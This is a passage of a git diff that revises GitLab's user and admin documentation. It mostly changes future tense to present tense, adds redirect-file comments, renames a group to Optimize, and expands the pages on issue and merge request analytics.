GitLab's concepts through our regular docs, and, when available, through articles (guides, tutorials, technical overviews, blog posts) and videos. diff --git a/doc/topics/offline/quick_start_guide.md b/doc/topics/offline/quick_start_guide.md index 92f8f9167b7..d4c1a9d72b9 100644 --- a/doc/topics/offline/quick_start_guide.md +++ b/doc/topics/offline/quick_start_guide.md @@ -18,12 +18,12 @@ server's name. Follow the installation instructions [as outlined in the omnibus install guide](https://about.gitlab.com/install/#ubuntu), but make sure to specify an `http` -URL for the `EXTERNAL_URL` installation step. Once installed, we will manually +URL for the `EXTERNAL_URL` installation step. Once installed, we can manually configure the SSL ourselves. It is strongly recommended to setup a domain for IP resolution rather than bind to the server's IP address. This better ensures a stable target for our certs' CN -and will make long-term resolution simpler. +and makes long-term resolution simpler. ```shell sudo EXTERNAL_URL="http://my-host.internal" install gitlab-ee diff --git a/doc/university/high-availability/aws/README.md b/doc/university/high-availability/aws/README.md index caaa0a3675b..cfaeea8f5c2 100644 --- a/doc/university/high-availability/aws/README.md +++ b/doc/university/high-availability/aws/README.md @@ -3,3 +3,6 @@ redirect_to: '../../../install/aws/index.md' --- This document was moved to [another location](../../../install/aws/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/training/topics/env_setup.md b/doc/university/training/topics/env_setup.md index cbe2ce46be4..f616ad4e49f 100644 --- a/doc/university/training/topics/env_setup.md +++ b/doc/university/training/topics/env_setup.md @@ -12,7 +12,7 @@ comments: false - **Windows** - Install 'Git for Windows' from [Git for Windows](https://gitforwindows.org). - **Mac** - Type '`git`' in the Terminal application. - - If it's not installed, it will prompt you to install it. + - If it's not installed, it prompts you to install it. - **GNU/Linux** - Enter `which git` in the Terminal application and press <kbd>Enter</kbd> to determine if Git is installed on your system. diff --git a/doc/university/training/topics/explore_gitlab.md b/doc/university/training/topics/explore_gitlab.md index 8678f8fd9eb..584069aa7b0 100644 --- a/doc/university/training/topics/explore_gitlab.md +++ b/doc/university/training/topics/explore_gitlab.md @@ -3,3 +3,6 @@ redirect_to: '../../../gitlab-basics/README.md' --- This document was moved to [another location](../../../gitlab-basics/README.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/university/training/topics/merge_conflicts.md b/doc/university/training/topics/merge_conflicts.md index 87cb119768f..38cc14d4593 100644 --- a/doc/university/training/topics/merge_conflicts.md +++ b/doc/university/training/topics/merge_conflicts.md @@ -42,7 +42,7 @@ git commit -am "add line6 and line7" git push origin master ``` -Create a merge request on the GitLab web UI. You'll see a conflict warning. +Create a merge request on the GitLab web UI, and a conflict warning displays. ```shell git checkout conflicts_branch diff --git a/doc/university/training/topics/stash.md b/doc/university/training/topics/stash.md index db4a21da6ba..393f0490b83 100644 --- a/doc/university/training/topics/stash.md +++ b/doc/university/training/topics/stash.md @@ -55,7 +55,7 @@ and we need to change to a different branch. ``` - If we meet conflicts we need to either reset or commit our changes. -- Conflicts through `pop` will not drop a stash afterwards. +- Conflicts through `pop` doesn't drop a stash afterwards. ## Git Stash sample workflow diff --git a/doc/university/training/topics/unstage.md b/doc/university/training/topics/unstage.md index 77aca3cdab8..4f0ac3652a7 100644 --- a/doc/university/training/topics/unstage.md +++ b/doc/university/training/topics/unstage.md @@ -7,7 +7,7 @@ comments: false # Unstage -- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This will unstage the file but maintain the modifications. +- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This unstages the file but maintain the modifications. ```shell git reset HEAD <file> diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md index 86f397eba41..90c10339c6c 100644 --- a/doc/university/training/user_training.md +++ b/doc/university/training/user_training.md @@ -46,7 +46,7 @@ Use the tools at your disposal when you get stuck. - Mac: Type '`git`' in the Terminal application. -> If it's not installed, it will prompt you to install it. +> If it's not installed, it prompts you to install it. - Debian: '`sudo apt-get install git-all`' or Red Hat '`sudo yum install git-all`' @@ -235,7 +235,7 @@ See GitLab merge requests for examples: <https://gitlab.com/gitlab-org/gitlab-fo - Useful for marking deployments and releases. - Annotated tags are an unchangeable part of Git history. -- Soft/lightweight tags can be set and removed at will. +- Soft/lightweight tags can be set and removed at any time. - Many projects combine an annotated release tag with a stable branch. - Consider setting deployment/release tags automatically. diff --git a/doc/user/abuse_reports.md b/doc/user/abuse_reports.md index 155f45f087f..1e9080d3f7c 100644 --- a/doc/user/abuse_reports.md +++ b/doc/user/abuse_reports.md @@ -39,7 +39,7 @@ To report abuse from a user's comment: 1. Click the **Send report** button. NOTE: **Note:** -A URL to the reported user's comment will be pre-filled in the abuse report's +A URL to the reported user's comment is pre-filled in the abuse report's **Message** field. ## Reporting abuse through a user's issue or merge request @@ -59,7 +59,7 @@ With the **Report abuse** button displayed, to submit an abuse report: 1. Click the **Send report** button. NOTE: **Note:** -A URL to the reported user's issue or merge request will be pre-filled +A URL to the reported user's issue or merge request is pre-filled in the abuse report's **Message** field. ## Managing abuse reports diff --git a/doc/user/account/security.md b/doc/user/account/security.md index 8a8edc23529..d9db3a25c00 100644 --- a/doc/user/account/security.md +++ b/doc/user/account/security.md @@ -3,3 +3,6 @@ redirect_to: '../profile/account/index.md' --- This document was moved to [profile](../profile/account/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/account/two_factor_authentication.md b/doc/user/account/two_factor_authentication.md index 42a66becc50..b085611f747 100644 --- a/doc/user/account/two_factor_authentication.md +++ b/doc/user/account/two_factor_authentication.md @@ -3,3 +3,6 @@ redirect_to: '../profile/account/two_factor_authentication.md' --- This document was moved to [profile/account/two_factor_authentication](../profile/account/two_factor_authentication.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/analytics/convdev.md b/doc/user/admin_area/analytics/convdev.md index 3ffda3f4400..d0f3a34e15e 100644 --- a/doc/user/admin_area/analytics/convdev.md +++ b/doc/user/admin_area/analytics/convdev.md @@ -3,3 +3,6 @@ redirect_to: 'dev_ops_report.md' --- This document was moved to [another location](dev_ops_report.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md index d1f80e63c04..4521ad1d947 100644 --- a/doc/user/admin_area/analytics/dev_ops_report.md +++ b/doc/user/admin_area/analytics/dev_ops_report.md @@ -21,7 +21,7 @@ To see DevOps Report, go to **Admin Area > Analytics > DevOps Report**. ## DevOps Score DevOps Score displays the usage of GitLab's major features on your instance over -the last 30 days, averaged over the number of active users in that time period. It also +the last 30 days, averaged over the number of billable users in that time period. It also provides a Lead score per feature, which is calculated based on GitLab's analysis of top-performing instances based on [usage ping data](../settings/usage_statistics.md#usage-ping) that GitLab has collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature. diff --git a/doc/user/admin_area/analytics/instance_statistics.md b/doc/user/admin_area/analytics/instance_statistics.md new file mode 100644 index 00000000000..44fd04198b1 --- /dev/null +++ b/doc/user/admin_area/analytics/instance_statistics.md @@ -0,0 +1,5 @@ +--- +redirect_to: 'usage_trends.md' +--- + +This document was moved to [another location](usage_trends.md). diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md index cf12f1f24c6..65b211ba660 100644 --- a/doc/user/admin_area/analytics/usage_trends.md +++ b/doc/user/admin_area/analytics/usage_trends.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md index 23a6de38e17..d7f0dd935db 100644 --- a/doc/user/admin_area/appearance.md +++ b/doc/user/admin_area/appearance.md @@ -16,7 +16,7 @@ section. By default, the navigation bar has the GitLab logo, but this can be customized with any image desired. It is optimized for images 28px high (any width), but any image can be -used (less than 1MB) and it will automatically be resized. +used (less than 1MB) and it is automatically resized.  @@ -24,7 +24,7 @@ Once you select and upload an image, click **Update appearance settings** at the of the page to activate it in the GitLab instance. NOTE: **Note:** -GitLab pipeline emails will also display the custom logo. +GitLab pipeline emails also display the custom logo. ## Favicon @@ -45,7 +45,7 @@ of the page to activate it in the GitLab instance. > - [Added](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/55057) to [GitLab Core](https://about.gitlab.com/pricing/) in 11.9. You can add a small header message, a small footer message, or both, to the interface -of your GitLab instance. These messages will appear on all projects and pages of the +of your GitLab instance. These messages appear on all projects and pages of the instance, including the sign in / sign up page. The default color is white text on an orange background, but this can be customized by clicking on **Customize colors**. @@ -69,7 +69,7 @@ and logo. You can make full use of [Markdown](../markdown.md) in the description  The optimal size for the logo is 640x360px, but any image can be used (below 1MB) -and it will be resized automatically. The logo image will appear between the title and +and it is resized automatically. The logo image appears between the title and the description, on the left of the sign-up page.  @@ -88,12 +88,12 @@ You can make full use of [Markdown](../markdown.md) in the description:  -The message will be displayed below the **New Project** message, on the left side +The message is displayed below the **New Project** message, on the left side of the **New project page**. After you add a message, click **Update appearance settings** at the bottom of the page to activate it in the GitLab instance. You can also click on the **New project page** -button, which will bring you to the new project page so you can review the change. +button, which brings you to the new project page so you can review the change.  diff --git a/doc/user/admin_area/broadcast_messages.md b/doc/user/admin_area/broadcast_messages.md index 0bbdf5bc5e7..085414078ae 100644 --- a/doc/user/admin_area/broadcast_messages.md +++ b/doc/user/admin_area/broadcast_messages.md @@ -47,7 +47,7 @@ The available placeholders are: - `{{username}}` - `{{instance_id}}` -If the user is not signed in, user related values will be empty. +If the user is not signed in, user related values are empty.  diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index fd8c72ad081..b9544b75ff5 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -94,7 +94,7 @@ The list of projects can be sorted by: A user can choose to hide or show archived projects in the list. -In the **Filter by name** field, type the project name you want to find, and GitLab will filter +In the **Filter by name** field, type the project name you want to find, and GitLab filters them as you type. Select from the **Namespace** dropdown to filter only projects in that namespace. diff --git a/doc/user/admin_area/monitoring/dev_ops_report.md b/doc/user/admin_area/monitoring/dev_ops_report.md index 9ad9830ed59..2cc9f153de3 100644 --- a/doc/user/admin_area/monitoring/dev_ops_report.md +++ b/doc/user/admin_area/monitoring/dev_ops_report.md @@ -3,3 +3,6 @@ redirect_to: '../analytics/dev_ops_report.md' --- This document was moved to [another location](../analytics/dev_ops_report.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md index 88c98248435..4d05d51deb0 100644 --- a/doc/user/admin_area/monitoring/health_check.md +++ b/doc/user/admin_area/monitoring/health_check.md @@ -70,7 +70,7 @@ The readiness probe checks whether the GitLab instance is ready to accept traffic via Rails Controllers. The check by default does validate only instance-checks. -If the `all=1` parameter is specified, the check will also validate +If the `all=1` parameter is specified, the check also validates the dependent services (Database, Redis, Gitaly etc.) and gives a status for each. @@ -97,7 +97,7 @@ Example response: } ``` -On failure, the endpoint will return a `503` HTTP status code. +On failure, the endpoint returns a `503` HTTP status code. This check does hit the database and Redis if authenticated via `token`. @@ -126,7 +126,7 @@ curl 'https://gitlab.example.com/-/liveness' Example response: -On success, the endpoint will return a `200` HTTP status code, and a response like below. +On success, the endpoint returns a `200` HTTP status code, and a response like below. ```json { @@ -134,7 +134,7 @@ On success, the endpoint will return a `200` HTTP status code, and a response li } ``` -On failure, the endpoint will return a `503` HTTP status code. +On failure, the endpoint returns a `503` HTTP status code. This check is being exempt from Rack Attack. diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md index 80bca6f5b2c..6e32d15d8f4 100644 --- a/doc/user/admin_area/settings/external_authorization.md +++ b/doc/user/admin_area/settings/external_authorization.md @@ -17,26 +17,26 @@ authorization with your own defined service. ## Overview -Once the external service is configured and enabled, when a project is accessed, -a request is made to the external service with the user information and project -classification label assigned to the project. When the service replies with a -known response, the result is cached for 6 hours. +After the external service is configured and enabled, when a project is +accessed, a request is made to the external service with the user information +and project classification label assigned to the project. When the service +replies with a known response, the result is cached for six hours. -If the external authorization is enabled, GitLab will further block pages and +If the external authorization is enabled, GitLab further blocks pages and functionality that render cross-project data. That includes: - Most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge requests, Assigned issues, To-Do List). - Under a specific group (Activity, Contribution analytics, Issues, Issue boards, Labels, Milestones, Merge requests). -- Global and Group search will be disabled. +- Global and Group search are disabled. This is to prevent performing to many requests at once to the external authorization service. Whenever access is granted or denied this is logged in a log file called -`external-policy-access-control.log`. -Read more about logs GitLab keeps in the [omnibus documentation](https://docs.gitlab.com/omnibus/settings/logs.html). +`external-policy-access-control.log`. Read more about the logs GitLab keeps in +the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/logs.html). ## Configuration @@ -48,7 +48,7 @@ The external authorization service can be enabled by an admin on the GitLab's The available required properties are: - **Service URL**: The URL to make authorization requests to. When leaving the - URL blank, cross project features will remain available while still being able + URL blank, cross project features remain available while still being able to specify classification labels for projects. - **External authorization request timeout**: The timeout after which an authorization request is aborted. When a request times out, access is denied @@ -58,19 +58,21 @@ The available required properties are: - **Client authentication key**: Private key for the certificate when authentication is required for the external authorization service, this is encrypted when stored. -- **Client authentication key password**: Passphrase to use for the private key when authenticating with the external service this is encrypted when stored. +- **Client authentication key password**: Passphrase to use for the private key + when authenticating with the external service this is encrypted when stored. - **Default classification label**: The classification label to use when requesting authorization if no specific label is defined on the project When using TLS Authentication with a self signed certificate, the CA certificate -needs to be trusted by the OpenSSL installation. When using GitLab installed using -Omnibus, learn to install a custom CA in the -[omnibus documentation](https://docs.gitlab.com/omnibus/settings/ssl.html). Alternatively learn where to install -custom certificates using `openssl version -d`. +needs to be trusted by the OpenSSL installation. When using GitLab installed +using Omnibus, learn to install a custom CA in the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/ssl.html). +Alternatively, learn where to install custom certificates by using +`openssl version -d`. ## How it works -When GitLab requests access, it will send a JSON POST request to the external +When GitLab requests access, it sends a JSON POST request to the external service with this body: ```json @@ -85,14 +87,17 @@ service with this body: } ``` -The `user_ldap_dn` is optional and is only sent when the user is logged in +The `user_ldap_dn` is optional and is only sent when the user is signed in through LDAP. -`identities` will contain the details of all the identities associated with the user. This will be an empty array if there are no identities associated with the user. +`identities` contains the details of all the identities associated with the +user. This is an empty array if there are no identities associated with the +user. When the external authorization service responds with a status code 200, the user is granted access. When the external service responds with a status code -401 or 403, the user is denied access. In any case, the request is cached for 6 hours. +401 or 403, the user is denied access. In any case, the request is cached for +six hours. When denying access, a `reason` can be optionally specified in the JSON body: @@ -102,20 +107,20 @@ When denying access, a `reason` can be optionally specified in the JSON body: } ``` -Any other status code than 200, 401 or 403 will also deny access to the user, but the -response will not be cached. +Any other status code than 200, 401 or 403 also deny access to the user, but the +response isn't cached. If the service times out (after 500ms), a message "External Policy Server did -not respond" will be displayed. +not respond" is displayed. ## Classification labels You can use your own classification label in the project's **Settings > General > General project settings** page in the "Classification label" box. When no classification label is specified on a project, the default -label defined in the [global settings](#configuration) will be used. +label defined in the [global settings](#configuration) is used. -The label will be shown on all project pages in the upper right corner. +The label is shown on all project pages in the upper right corner.  diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md index c0237c3da73..b50acc8cf0f 100644 --- a/doc/user/admin_area/settings/help_page.md +++ b/doc/user/admin_area/settings/help_page.md @@ -13,7 +13,7 @@ to go for help. You can customize and display this information on the GitLab ser ## Adding a help message to the help page -You can add a help message, which will be shown on the GitLab `/help` page (e.g., +You can add a help message, which is shown on the GitLab `/help` page (e.g., <https://gitlab.com/help>) in a new section at the top of the `/help` page: 1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**. @@ -27,7 +27,7 @@ You can add a help message, which will be shown on the GitLab `/help` page (e.g. ## Adding a help message to the login page **(STARTER)** -You can add a help message, which will be shown on the GitLab login page in a new section +You can add a help message, which is shown on the GitLab login page in a new section titled `Need Help?`, located below the login page message: 1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**. diff --git a/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png b/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png Binary files differindex 53dc0e4ac87..5056e8354a9 100644 --- a/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png +++ b/doc/user/admin_area/settings/img/user_and_ip_rate_limits.png diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md index 21d495de5b7..e78a3319e2f 100644 --- a/doc/user/admin_area/settings/index.md +++ b/doc/user/admin_area/settings/index.md @@ -63,7 +63,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | | [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. | -| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. | +| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration is run after the project's own configuration. | | [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. | ## Reporting @@ -98,7 +98,7 @@ Access the default page for admin area settings by navigating to **Admin Area > | Option | Description | | ------ | ----------- | -| Geo | Geo allows you to replicate your GitLab instance to other geographical locations. Redirects to **Admin Area > Geo > Settings**, and will no longer be available at **Admin Area > Settings > Geo** in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/36896). | +| Geo | Geo allows you to replicate your GitLab instance to other geographical locations. Redirects to **Admin Area > Geo > Settings** are no longer available at **Admin Area > Settings > Geo** in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/36896). | ## Preferences diff --git a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md index 96cd71033d0..bf4acabd1be 100644 --- a/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md +++ b/doc/user/admin_area/settings/rate_limits_on_raw_endpoints.md @@ -12,7 +12,7 @@ type: reference This setting allows you to rate limit the requests to raw endpoints, defaults to `300` requests per minute. It can be modified in **Admin Area > Settings > Network > Performance Optimization**. -For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` will be blocked. Access to the raw file will be released after 1 minute. +For example, requests over `300` per minute to `https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/controllers/application_controller.rb` are blocked. Access to the raw file is released after 1 minute.  diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index 7ab1d396e8b..fefdb7ee336 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -25,9 +25,9 @@ You can restrict the password authentication for web interface and Git over HTTP ## Two-factor authentication -When this feature enabled, all users will have to use the [two-factor authentication](../../profile/account/two_factor_authentication.md). +When this feature enabled, all users must use the [two-factor authentication](../../profile/account/two_factor_authentication.md). -Once the two-factor authentication is configured as mandatory, the users will be allowed +Once the two-factor authentication is configured as mandatory, the users are allowed to skip forced configuration of two-factor authentication for the configurable grace period in hours. @@ -44,13 +44,13 @@ see [Email notification for unknown sign-ins](../../profile/unknown_sign_in_noti ## Sign-in information -All users that are not logged-in will be redirected to the page represented by the configured -"Home page URL" if value is not empty. +All users that are not logged in are redirected to the page represented by the configured +**Home page URL** if value is not empty. -All users will be redirect to the page represented by the configured "After sign out path" +All users are redirected to the page represented by the configured **After sign out path** after sign out if value is not empty. -In the Sign-in restrictions section, scroll to the "Sign-in text" text box. You can add a +In the **Sign-in restrictions** section, scroll to the **Sign-in text** field. You can add a custom message for your users in Markdown format. For example, if you include the following information in the noted text box: @@ -61,7 +61,7 @@ For example, if you include the following information in the noted text box: To access this text box, navigate to Admin Area > Settings > General, and expand the "Sign-in restrictions" section. ``` -Your users will see the "Custom sign-in text" when they navigate to the sign-in screen for your +Your users see the **Custom sign-in text** when they navigate to the sign-in screen for your GitLab instance:  diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md index 95c32af5716..e6b13d9b703 100644 --- a/doc/user/admin_area/settings/terms.md +++ b/doc/user/admin_area/settings/terms.md @@ -29,7 +29,7 @@ To enforce acceptance of a Terms of Service and Privacy Policy:  For each update to the terms, a new version is stored. When a user accepts or declines the terms, -GitLab will record which version they accepted or declined. +GitLab records which version they accepted or declined. ## New users @@ -37,28 +37,28 @@ When this feature is enabled, a checkbox is added to the sign-up form.  -This checkbox will be required during sign up. +This checkbox is required during sign up. Users can review the terms entered in the admin panel before -accepting. The page will be opened in a new window so they can +accepting. The page is opened in a new window so they can continue their registration afterwards. ## Accepting terms When this feature is enabled, the users that have not accepted the -terms of service will be presented with a screen where they can either +terms of service are presented with a screen where they can either accept or decline the terms.  -If the user accepts the terms, they will be directed to where they -were going. After a sign-in or sign-up this will most likely be the +If the user accepts the terms, they are directed to where they +were going. After a sign-in or sign-up this is most likely the dashboard. If the user was already logged in when the feature was turned on, -they will be asked to accept the terms on their next interaction. +they are asked to accept the terms on their next interaction. -If a user declines the terms, they will be signed out. +If a user declines the terms, they are signed out. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index d4080b3921a..12e31a2b2a6 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -7,7 +7,7 @@ type: reference # Usage statistics **(CORE ONLY)** -GitLab Inc. will periodically collect information about your instance in order +GitLab Inc. periodically collects information about your instance in order to perform various actions. All statistics are opt-out. You can enable/disable them in the @@ -22,7 +22,7 @@ If your GitLab instance is behind a proxy, set the appropriate [proxy configurat ## Version Check **(CORE ONLY)** -If enabled, version check will inform you if a new version is available and the +If enabled, version check informs you if a new version is available and the importance of it through a status. This is shown on the help page (i.e. `/help`) for all signed in users, and on the admin pages. The statuses are: @@ -37,10 +37,10 @@ GitLab Inc. collects your instance's version and hostname (through the HTTP referer) as part of the version check. No other information is collected. This information is used, among other things, to identify to which versions -patches will need to be backported, making sure active GitLab instances remain +patches must be backported, making sure active GitLab instances remain secure. -If you disable version check, this information will not be collected. Enable or +If you disable version check, this information isn't collected. Enable or disable the version check in **Admin Area > Settings > Metrics and profiling > Usage statistics**. ### Request flow example @@ -65,8 +65,8 @@ See [Usage Ping guide](../../../development/product_analytics/usage_ping.md). ## Instance-level statistics **(CORE ONLY)** -Once usage ping is enabled, GitLab will gather data from other instances and -will be able to show [usage statistics](../analytics/index.md) +After usage ping is enabled, GitLab gathers data from other instances and +can show [usage statistics](../analytics/index.md) of your instance to your admins in **Admin Area > Analytics**. <!-- ## Troubleshooting diff --git a/doc/user/admin_area/settings/user_and_ip_rate_limits.md b/doc/user/admin_area/settings/user_and_ip_rate_limits.md index af3e0c5b63b..8b38cb5f937 100644 --- a/doc/user/admin_area/settings/user_and_ip_rate_limits.md +++ b/doc/user/admin_area/settings/user_and_ip_rate_limits.md @@ -53,7 +53,7 @@ users to not set that header and bypass the GitLab rate limiter. Note that the bypass only works if the header is set to `1`. Requests that bypassed the rate limiter because of the bypass header -will be marked with `"throttle_safelist":"throttle_bypass_header"` in +are marked with `"throttle_safelist":"throttle_bypass_header"` in [`production_json.log`](../../../administration/logs.md#production_jsonlog). To disable the bypass mechanism, make sure the environment variable diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md index ec0153ac3b6..a95501c0bde 100644 --- a/doc/user/admin_area/user_cohorts.md +++ b/doc/user/admin_area/user_cohorts.md @@ -3,3 +3,6 @@ redirect_to: 'analytics/user_cohorts.md' --- This document was moved to [another location](analytics/user_cohorts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md index dc956765794..62b7d58c373 100644 --- a/doc/user/analytics/code_review_analytics.md +++ b/doc/user/analytics/code_review_analytics.md @@ -1,7 +1,7 @@ --- description: "Learn how long your open merge requests have spent in code review, and what distinguishes the longest-running." # Up to ~200 chars long. They will be displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here. stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/analytics/cycle_analytics.md b/doc/user/analytics/cycle_analytics.md index 9d1cc508f63..5c235f6708b 100644 --- a/doc/user/analytics/cycle_analytics.md +++ b/doc/user/analytics/cycle_analytics.md @@ -3,3 +3,6 @@ redirect_to: '../analytics/value_stream_analytics.md' --- This document was moved to [another location](../analytics/value_stream_analytics.md) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/analytics/img/issues_created_per_month_v12_8.png b/doc/user/analytics/img/issues_created_per_month_v12_8.png Binary files differnew file mode 100644 index 00000000000..fccfa949779 --- /dev/null +++ b/doc/user/analytics/img/issues_created_per_month_v12_8.png diff --git a/doc/user/analytics/img/issues_table_v13_1.png b/doc/user/analytics/img/issues_table_v13_1.png Binary files differnew file mode 100644 index 00000000000..3e8a729a884 --- /dev/null +++ b/doc/user/analytics/img/issues_table_v13_1.png diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index 29df25d76af..4c853a2a9f4 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- diff --git a/doc/user/analytics/issue_analytics.md b/doc/user/analytics/issue_analytics.md new file mode 100644 index 00000000000..59c40b15bdc --- /dev/null +++ b/doc/user/analytics/issue_analytics.md @@ -0,0 +1,45 @@ +--- +type: reference +stage: Manage +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Issue Analytics **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196561) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9. + +Issue Analytics is a bar graph which illustrates the number of issues created each month. +The default timespan is 13 months, which includes the current month, and the 12 months +prior. + +To access the chart, navigate to your project sidebar and select **{chart}** **Analytics > Issue Analytics**. + +Hover over each bar to see the total number of issues. + +To narrow the scope of issues included in the graph, enter your criteria in the +**Search or filter results...** field. Criteria from the following list can be typed in or selected from a menu: + +- Author +- Assignee +- Milestone +- Label +- My reaction +- Weight + +You can change the total number of months displayed by setting a URL parameter. +For example, `https://gitlab.com/groups/gitlab-org/-/issues_analytics?months_back=15` +shows a total of 15 months for the chart in the GitLab.org group. + + + +## Drill into the information + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196547) in GitLab 13.1. + +You can examine details of individual issues by browsing the table +located below the chart. + +The chart displays the top 100 issues based on the global page filters. + + diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md index 5402d9a20a0..9efb917db01 100644 --- a/doc/user/analytics/merge_request_analytics.md +++ b/doc/user/analytics/merge_request_analytics.md @@ -1,7 +1,7 @@ --- description: "Merge Request Analytics help you understand the efficiency of your code review process, and the productivity of your team." # Up to ~200 chars long. They will be displayed in Google Search snippets. It may help to write the page intro first, and then reuse it here. stage: Manage -group: Value Stream Management +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- @@ -36,7 +36,7 @@ Merge Request Analytics could be used when: ## Visualizations and data -The following visualizations and data are available, representing all merge requests that were merged in the past 12 months. +The following visualizations and data are available, representing all merge requests that were merged in the given date range. ### Throughput chart @@ -46,7 +46,25 @@ The throughput chart shows the number of merge requests merged per month. ### Throughput table -Data table displaying a maximum of the 100 most recent merge requests merged for the time period. +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232651) in GitLab 13.3. + +The Throughput table displays the most recent merge requests merged in the date range. The +table displays up to 20 merge requests at a time. If there are more than 20 merge requests, +you can paginate to them. For each merge request, you can review the following data: + +- Title (as a link to the merge request itself) +- ID +- Pipeline status +- Label count +- Comment count +- Approval count (if approved) +- Date merged +- Time to merge +- Milestone +- Commit count +- Pipeline count +- Line change counts +- Assignees  @@ -68,6 +86,17 @@ To filter results: 1. Click on the filter bar. 1. Select a parameter to filter by. 1. Select a value from the autocompleted results, or enter search text to refine the 